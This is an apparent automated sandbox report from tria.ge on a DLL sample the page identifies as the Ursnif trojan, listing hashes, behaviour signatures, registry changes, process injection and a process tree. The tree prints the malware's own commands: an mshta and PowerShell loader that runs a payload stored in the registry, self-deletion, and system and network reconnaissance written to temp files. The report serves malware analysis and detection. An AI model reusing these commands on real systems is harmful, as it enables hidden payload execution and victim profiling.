Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
90s -
max time network
151s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
25/11/2020, 17:52
Static task
static1
Behavioral task
behavioral1
Sample
c9d954b3f1c512e6804fd8f5637b58b6.dll
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
-
Target
c9d954b3f1c512e6804fd8f5637b58b6.dll
-
Size
234KB
-
MD5
c9d954b3f1c512e6804fd8f5637b58b6
-
SHA1
b452040d8072117ddbe1adf9e1eab5e4bdb150bd
-
SHA256
d7fafabbb381c34185ad30f0d5337ec8072d0705e0e9fb1d91e7358ed934fff3
-
SHA512
a4e949017016c1cfaa9bdff664c8ee20b2a34fe78788de9a4338ae5ad9a8a2623ccafe6d4584ef4f6cb29bc05dbcb3a71cbcd4051560287fbe74fb5a5738c09b
Malware Config
Extracted
Family
ursnif
Attributes
- dga_base_url
-
dga_crc
0
-
dga_season
0
- dga_tlds
- dns_servers
Signatures
-
Deletes itself 1 IoCs
pid Process 772 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt regsvr32.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1600 set thread context of 1252 1600 powershell.exe 21 PID 1252 set thread context of 772 1252 Explorer.EXE 47 PID 772 set thread context of 816 772 cmd.exe 49 PID 1252 set thread context of 848 1252 Explorer.EXE 59 -
Program crash 1 IoCs
pid pid_target Process procid_target 948 1564 WerFault.exe 26 -
Discovers systems in the same network 1 TTPs 1 IoCs
pid Process 1904 net.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1544 tasklist.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1316 systeminfo.exe -
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000deda4fc0c9790364b7f7121c8c362ee6dd2d0c9f2b4b545d4916323d25552664000000000e80000000020000200000009dda4c440c5b537bed09538030b3147dccb207cdf1308e1c01dabfe22fdc9c5f2000000065e14db25701bd81790490253ee0f68ca2eeeaf29568d348bc8c27172736679440000000b89548944b09b3659f401eac7dc6f356961bfd32cedafc64652111ae3ff345729f16387d40a02df69ce594652042c557aa8acdbb1b86cabac040cd0d985d031c iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00a11dfa64c3d601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a600000000002000000000010660000000100002000000046cf174d8fd78a3b8122cedb37d295e21558c30a77940c59084cf8ad4453e53c000000000e80000000020000200000002a1d8ac8feeb83f8d5ddd53bd22f4b9d4ff44b6b0e77652b950500602a806f96900000009dc62e010b331f884448b7faf3d8c4c5e27f23f1ce01f709f57e1a00941f97aad9e5376785aced67909e384cfbf75f07e0fdb51933b0a466995a3cf9854c4be8e4030b3be7ffbc9c0ce39fb460f929f1c4dfce9cc4765f9c82f08d219f911d0b791ea8250d8c8cdeb1762cc39ac5c826b5e7f77d8d875e33aa7cd19041ee8e681aa5f506062b8abfe49b47a43c9d1b56400000003a1cb0a08a7a47220b51e0917402f807c541fa3f7774f4ea72482a5b93b64f648ce5c848212c0b53fde7492648d438696e5e999354c4d24133ba1502cc32096f iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{3E4EF101-2F58-11EB-BA33-6280D915632E} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{21C59521-2F58-11EB-BA33-6280D915632E} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 816 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 816 PING.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1564 regsvr32.exe 1600 powershell.exe 1600 powershell.exe 1252 Explorer.EXE 948 WerFault.exe 948 WerFault.exe 948 WerFault.exe 948 WerFault.exe 948 WerFault.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 1600 powershell.exe 1252 Explorer.EXE 772 cmd.exe 1252 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1600 powershell.exe Token: SeDebugPrivilege 948 WerFault.exe Token: SeShutdownPrivilege 1252 Explorer.EXE Token: SeDebugPrivilege 1544 tasklist.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1820 iexplore.exe 1532 iexplore.exe 1532 iexplore.exe 1532 iexplore.exe 1252 Explorer.EXE 1252 Explorer.EXE -
Suspicious use of SetWindowsHookEx 17 IoCs
pid Process 1820 iexplore.exe 1820 iexplore.exe 976 IEXPLORE.EXE 976 IEXPLORE.EXE 1532 iexplore.exe 1532 iexplore.exe 1344 IEXPLORE.EXE 1344 IEXPLORE.EXE 1532 iexplore.exe 1532 iexplore.exe 1208 IEXPLORE.EXE 1208 IEXPLORE.EXE 1532 iexplore.exe 1532 iexplore.exe 1344 IEXPLORE.EXE 1344 IEXPLORE.EXE 1252 Explorer.EXE -
Suspicious use of WriteProcessMemory 135 IoCs
description pid Process procid_target PID 2036 wrote to memory of 1564 2036 regsvr32.exe 26 PID 2036 wrote to memory of 1564 2036 regsvr32.exe 26 PID 2036 wrote to memory of 1564 2036 regsvr32.exe 26 PID 2036 wrote to memory of 1564 2036 regsvr32.exe 26 PID 2036 wrote to memory of 1564 2036 regsvr32.exe 26 PID 2036 wrote to memory of 1564 2036 regsvr32.exe 26 PID 2036 wrote to memory of 1564 2036 regsvr32.exe 26 PID 1820 wrote to memory of 976 1820 iexplore.exe 33 PID 1820 wrote to memory of 976 1820 iexplore.exe 33 PID 1820 wrote to memory of 976 1820 iexplore.exe 33 PID 1820 wrote to memory of 976 1820 iexplore.exe 33 PID 1532 wrote to memory of 1344 1532 iexplore.exe 36 PID 1532 wrote to memory of 1344 1532 iexplore.exe 36 PID 1532 wrote to memory of 1344 1532 iexplore.exe 36 PID 1532 wrote to memory of 1344 1532 iexplore.exe 36 PID 1532 wrote to memory of 1208 1532 iexplore.exe 37 PID 1532 wrote to memory of 1208 1532 iexplore.exe 37 PID 1532 wrote to memory of 1208 1532 iexplore.exe 37 PID 1532 wrote to memory of 1208 1532 iexplore.exe 37 PID 2044 wrote to memory of 1600 2044 mshta.exe 41 PID 2044 wrote to memory of 1600 2044 mshta.exe 41 PID 2044 wrote to memory of 1600 2044 mshta.exe 41 PID 1600 wrote to memory of 844 1600 powershell.exe 43 PID 1600 wrote to memory of 844 1600 powershell.exe 43 PID 1600 wrote to memory of 844 1600 powershell.exe 43 PID 844 wrote to memory of 1608 844 csc.exe 44 PID 844 wrote to memory of 1608 844 csc.exe 44 PID 844 wrote to memory of 1608 844 csc.exe 44 PID 1600 wrote to memory of 672 1600 powershell.exe 45 PID 1600 wrote to memory of 672 1600 powershell.exe 45 PID 1600 wrote to memory of 672 1600 powershell.exe 45 PID 672 wrote to memory of 924 672 csc.exe 46 PID 672 wrote to memory of 924 672 csc.exe 46 PID 672 wrote to memory of 924 672 csc.exe 46 PID 1600 wrote to memory of 1252 1600 powershell.exe 21 PID 1600 wrote to memory of 1252 1600 powershell.exe 21 PID 1600 wrote to memory of 1252 1600 powershell.exe 21 PID 1252 wrote to memory of 772 1252 Explorer.EXE 47 PID 1252 wrote to memory of 772 1252 Explorer.EXE 47 PID 1252 wrote to memory of 772 1252 Explorer.EXE 47 PID 1252 wrote to memory of 772 1252 Explorer.EXE 47 PID 1252 wrote to memory of 772 1252 Explorer.EXE 47 PID 1252 wrote to memory of 772 1252 Explorer.EXE 47 PID 772 wrote to memory of 816 772 cmd.exe 49 PID 772 wrote to memory of 816 772 cmd.exe 49 PID 772 wrote to memory of 816 772 cmd.exe 49 PID 772 wrote to memory of 816 772 cmd.exe 49 PID 772 wrote to memory of 816 772 cmd.exe 49 PID 772 wrote to memory of 816 772 cmd.exe 49 PID 1564 wrote to memory of 948 1564 regsvr32.exe 50 PID 1564 wrote to memory of 948 1564 regsvr32.exe 50 PID 1564 wrote to memory of 948 1564 regsvr32.exe 50 PID 1564 wrote to memory of 948 1564 regsvr32.exe 50 PID 1252 wrote to memory of 1728 1252 Explorer.EXE 51 PID 1252 wrote to memory of 1728 1252 Explorer.EXE 51 PID 1252 wrote to memory of 1728 1252 Explorer.EXE 51 PID 1728 wrote to memory of 1032 1728 cmd.exe 53 PID 1728 wrote to memory of 1032 1728 cmd.exe 53 PID 1728 wrote to memory of 1032 1728 cmd.exe 53 PID 1252 wrote to memory of 820 1252 Explorer.EXE 54 PID 1252 wrote to memory of 820 1252 Explorer.EXE 54 PID 1252 wrote to memory of 820 1252 Explorer.EXE 54 PID 1252 wrote to memory of 600 1252 Explorer.EXE 56 PID 1252 wrote to memory of 600 1252 Explorer.EXE 56 PID 1252 wrote to memory of 600 1252 Explorer.EXE 56 PID 600 wrote to memory of 1316 600 cmd.exe 58 PID 600 wrote to memory of 1316 600 cmd.exe 58 PID 600 wrote to memory of 1316 600 cmd.exe 58 PID 1252 wrote to memory of 848 1252 Explorer.EXE 59 PID 1252 wrote to memory of 848 1252 Explorer.EXE 59 PID 1252 wrote to memory of 848 1252 Explorer.EXE 59 PID 1252 wrote to memory of 848 1252 Explorer.EXE 59 PID 1252 wrote to memory of 848 1252 Explorer.EXE 59 PID 1252 wrote to memory of 848 1252 Explorer.EXE 59 PID 1252 wrote to memory of 848 1252 Explorer.EXE 59 PID 1252 wrote to memory of 1544 1252 Explorer.EXE 63 PID 1252 wrote to memory of 1544 1252 Explorer.EXE 63 PID 1252 wrote to memory of 1544 1252 Explorer.EXE 63 PID 1252 wrote to memory of 532 1252 Explorer.EXE 64 PID 1252 wrote to memory of 532 1252 Explorer.EXE 64 PID 1252 wrote to memory of 532 1252 Explorer.EXE 64 PID 1252 wrote to memory of 848 1252 Explorer.EXE 67 PID 1252 wrote to memory of 848 1252 Explorer.EXE 67 PID 1252 wrote to memory of 848 1252 Explorer.EXE 67 PID 1252 wrote to memory of 676 1252 Explorer.EXE 69 PID 1252 wrote to memory of 676 1252 Explorer.EXE 69 PID 1252 wrote to memory of 676 1252 Explorer.EXE 69 PID 676 wrote to memory of 1904 676 cmd.exe 71 PID 676 wrote to memory of 1904 676 cmd.exe 71 PID 676 wrote to memory of 1904 676 cmd.exe 71 PID 1252 wrote to memory of 1704 1252 Explorer.EXE 72 PID 1252 wrote to memory of 1704 1252 Explorer.EXE 72 PID 1252 wrote to memory of 1704 1252 Explorer.EXE 72 PID 1252 wrote to memory of 1332 1252 Explorer.EXE 74 PID 1252 wrote to memory of 1332 1252 Explorer.EXE 74 PID 1252 wrote to memory of 1332 1252 Explorer.EXE 74 PID 1332 wrote to memory of 280 1332 cmd.exe 76 PID 1332 wrote to memory of 280 1332 cmd.exe 76 PID 1332 wrote to memory of 280 1332 cmd.exe 76 PID 1252 wrote to memory of 848 1252 Explorer.EXE 77 PID 1252 wrote to memory of 848 1252 Explorer.EXE 77 PID 1252 wrote to memory of 848 1252 Explorer.EXE 77 PID 1252 wrote to memory of 2020 1252 Explorer.EXE 79 PID 1252 wrote to memory of 2020 1252 Explorer.EXE 79 PID 1252 wrote to memory of 2020 1252 Explorer.EXE 79 PID 2020 wrote to memory of 1544 2020 cmd.exe 81 PID 2020 wrote to memory of 1544 2020 cmd.exe 81 PID 2020 wrote to memory of 1544 2020 cmd.exe 81 PID 1252 wrote to memory of 1200 1252 Explorer.EXE 82 PID 1252 wrote to memory of 1200 1252 Explorer.EXE 82 PID 1252 wrote to memory of 1200 1252 Explorer.EXE 82 PID 1252 wrote to memory of 676 1252 Explorer.EXE 84 PID 1252 wrote to memory of 676 1252 Explorer.EXE 84 PID 1252 wrote to memory of 676 1252 Explorer.EXE 84 PID 676 wrote to memory of 1316 676 cmd.exe 86 PID 676 wrote to memory of 1316 676 cmd.exe 86 PID 676 wrote to memory of 1316 676 cmd.exe 86 PID 1252 wrote to memory of 280 1252 Explorer.EXE 87 PID 1252 wrote to memory of 280 1252 Explorer.EXE 87 PID 1252 wrote to memory of 280 1252 Explorer.EXE 87 PID 1252 wrote to memory of 1976 1252 Explorer.EXE 89 PID 1252 wrote to memory of 1976 1252 Explorer.EXE 89 PID 1252 wrote to memory of 1976 1252 Explorer.EXE 89 PID 1976 wrote to memory of 960 1976 cmd.exe 91 PID 1976 wrote to memory of 960 1976 cmd.exe 91 PID 1976 wrote to memory of 960 1976 cmd.exe 91 PID 1252 wrote to memory of 532 1252 Explorer.EXE 92 PID 1252 wrote to memory of 532 1252 Explorer.EXE 92 PID 1252 wrote to memory of 532 1252 Explorer.EXE 92 PID 1252 wrote to memory of 908 1252 Explorer.EXE 94 PID 1252 wrote to memory of 908 1252 Explorer.EXE 94 PID 1252 wrote to memory of 908 1252 Explorer.EXE 94 PID 1252 wrote to memory of 1648 1252 Explorer.EXE 96 PID 1252 wrote to memory of 1648 1252 Explorer.EXE 96 PID 1252 wrote to memory of 1648 1252 Explorer.EXE 96
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\c9d954b3f1c512e6804fd8f5637b58b6.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\c9d954b3f1c512e6804fd8f5637b58b6.dll3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1564 -s 3044⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948
-
-
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\CB4B3BAF-AEAE-3526-102F-C23944D3167D\\\Auxisext'));if(!window.flag)close()</script>"2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\CB4B3BAF-AEAE-3526-102F-C23944D3167D").aepiesrv))3⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c11woszc\c11woszc.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF7B.tmp" "c:\Users\Admin\AppData\Local\Temp\c11woszc\CSC7ABF99EE0CA476084BA81AE85CF39D.TMP"5⤵PID:1608
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pfrjuzmu\pfrjuzmu.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES10F2.tmp" "c:\Users\Admin\AppData\Local\Temp\pfrjuzmu\CSC1E47F659D06E4512A6CBD8D0E63B1FED.TMP"5⤵PID:924
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\c9d954b3f1c512e6804fd8f5637b58b6.dll"2⤵
- Deletes itself
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:816
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\D668.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:1032
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\D668.bi1"2⤵PID:820
-
-
C:\Windows\system32\cmd.execmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:600
-
C:\Windows\system32\systeminfo.exesysteminfo.exe3⤵
- Gathers system information
PID:1316
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:848
-
-
C:\Windows\system32\makecab.exemakecab.exe /F "C:\Users\Admin\AppData\Local\Temp\B40E.bin"2⤵PID:1544
-
-
C:\Windows\system32\makecab.exemakecab.exe /F "C:\Users\Admin\AppData\Local\Temp\387E.bin"2⤵PID:532
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:848
-
-
C:\Windows\system32\cmd.execmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:676
-
C:\Windows\system32\net.exenet view3⤵
- Discovers systems in the same network
PID:1904
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:1704
-
-
C:\Windows\system32\cmd.execmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:1332
-
C:\Windows\system32\nslookup.exenslookup 127.0.0.13⤵PID:280
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:848
-
-
C:\Windows\system32\cmd.execmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:2020
-
C:\Windows\system32\tasklist.exetasklist.exe /SVC3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1544
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:1200
-
-
C:\Windows\system32\cmd.execmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:676
-
C:\Windows\system32\driverquery.exedriverquery.exe3⤵PID:1316
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:280
-
-
C:\Windows\system32\cmd.execmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:1976
-
C:\Windows\system32\reg.exereg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s3⤵PID:960
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\DB94.bin1"2⤵PID:532
-
-
